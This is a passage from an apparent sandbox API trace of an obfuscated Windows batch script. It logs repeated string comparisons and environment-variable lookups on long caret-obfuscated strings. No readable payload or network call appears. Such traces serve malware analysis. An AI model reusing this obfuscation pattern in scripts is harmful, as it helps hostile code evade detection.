(_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="CMDEXTVERSION") returned -5 [0099.182] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="CMDCMDLINE") returned -5 [0099.182] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="DATE") returned -6 [0099.182] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="TIME") returned -22 [0099.182] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="RANDOM") returned -20 [0099.182] _wcsicmp (_String1="^z^w^L^h^wLT^d^3p^e^3^7^{^j^Un^#^P^j^y^+^2^X^b^2^)^.^Y^1^1^2^eo^2^2^+^26^3^p^.^Y^F3^p^2^+^2^]^2^+^2^.^Y^q^F^3^p^b^fN^2^+^2^8^P^4^-^P^j^3^Q^e^A^C^h^8^P^Z^8^P^,2^+^2^GC^7^y^2^+^2^[2^+^2^7^K^2^+^2^3^7^37^-^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.182] GetEnvironmentVariableW (in: lpName="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.182] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="CD") returned -5 [0099.182] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="ERRORLEVEL") returned -7 [0099.182] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="CMDEXTVERSION") returned -5 [0099.182] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="CMDCMDLINE") returned -5 [0099.182] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="DATE") returned -6 [0099.182] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="TIME") returned -22 [0099.182] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="RANDOM") returned -20 [0099.182] _wcsicmp (_String1="^2^+^2^`k^7^y^8^P^.^Y^-7^K^e^o2^2^+^2^eo^2^8^Pm3^Qe^AC^3^p`^2^+2^q^F^3^p^bfN^6^m^8^P^.^Y^A^C^6^7^j^h`^e^o^2^G^C^7^y^8^P^m^'^j^U^]^6^2^+^2^4^2^+^2^Zn^.^AC^6^7^[^2^+^2^F^3^p^bf^b^f^k7y^u^u^Q^e^3^7^e^o^2^2+^2^6^K^F^3^p^]^.Y^j^h`^e^o^2^G^C^7^y^8^P^2^+^2^m^'^2^+^2^j^U^]^6^4^Zn^2^+2^.^'^u^2^+^2^Z^G^C^7^y^m^6^k^7^y^1^1F^3^p^]^.^Y^q^F^3^p^b^fN^8^P^G^C^7^y'a^2^+^2^8^P^3^QeA^C^7^y^j^U6^2^+2^3p^Z8^Pn^G^C7^y^)^'^2^+^2Pj^k^7^y^8^Pn^R^8^P^6^3^7^1^A^C6^2^+^2^7^2^+^2^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.183] GetEnvironmentVariableW (in: lpName="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.183] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="CD") returned -5 [0099.183] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="ERRORLEVEL") returned -7 [0099.183] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="CMDEXTVERSION") returned -5 [0099.183] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="CMDCMDLINE") returned -5 [0099.183] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="DATE") returned -6 [0099.183] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="TIME") returned -22 [0099.183] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="RANDOM") returned -20 [0099.183] _wcsicmp (_String1="^z^w^LhG^C^7y^G^C7^y^k^7^y^e^o^2^8^ ^,^.^,.^Z^m^6.^2+^2^8^P^e^o^2^4ax^'^Zm^.^3^Q^e^AC^X2^+^2^7^'^,^X^2^+2^m^,^.^A^C^ ^,^.^F3^p^j^Un^,^.^2^+^2^.^6^G^C^7^y4^a^x^u^Q^e^7^y^e^o2^K_^X^'^2^+^2^k^7^yn^.^A^C^6^7^2^+2^)^)^[^2^+^2^F3^p^b^f^b^f^k^7^y^u^u^Q^e^2^+^2m^Q^e^6^KF^3^p^]^.^Y^u^`2^+^2^G^C^7y^2+^2^8^P^{^Pjy^.^Y^2^+^2^4^a^xj^Un^H^ ^[1^ ^'^2^+^2^'^H^)^3^Q^e^A^C^2^+^2^j^h^2^+^2^h^8^PZo^\\^F^3^p^X^]^8^P^6^,^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.183] GetEnvironmentVariableW (in: lpName="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.183] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="CD") returned -5 [0099.183] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="ERRORLEVEL") returned -7 [0099.183] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="CMDEXTVERSION") returned -5 [0099.183] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="CMDCMDLINE") returned -5 [0099.183] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="DATE") returned -6 [0099.183] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="TIME") returned -22 [0099.183] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="RANDOM") returned -20 [0099.183] _wcsicmp (_String1="^z^w^Lh^1^2^+^2^F^3^p^b^f^2^+^2^b^f^2^+^2k^7^y^uu^Q^e^7^.Y^Zn^1^ ^'^'^H^2^+^2^4^a^x^(^2^+^2^)^)\\^F^3pb^f^b^f^k^7^yu^u^Q^e^2^+^2G^C^7^y^2^+^2^G^C^7^y^6^K^F^3^p^b^fb^f^k^7^y^u^u^Q^e^3^7e^o^2^'^6^wL^8^P^2^+^2^G^C^7^y^G^C^7^yy^Z^7^8^P^3p^1^F^3pb^fb^f^k^7^y^u^u^Q^e^7^6^x^d^2^+^2^F^3^p^b^f^2^+^2^b^f^k^7^y^uu^Q^e_^2^+^2^)[^F^3^p^bf^b^f^k^7^y^u^u^Q^e^m^Qe^2^+^2^{F^3^p^b^f^b^f^k^7^yu^u^Q^e^2+^2^_^", _String2="HIGHESTNUMANODENUMBER") returned -10 [0099.184] GetEnvironmentVariableW (in: lpName="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", lpBuffer=0x4a0df360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0099.184] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="CD") returned -5 [0099.184] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="ERRORLEVEL") returned -7 [0099.184] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ z^w^L^h^2^+^2^3^p^X^2^+^2^X^]^1^1^F^3pb^f^b^f^2^+^2^k^7^y^u^uQ^e^G^C^7^y^G^C^7^y^'^u^-^3^Q^e^A^C^6n^3^7^j^Un^5^)^", _String2="CMDEXTVERSION") returned -5 [0099.184] _wcsicmp (_String1="^z^w^L^h^P^j^y^8^ ^8^ 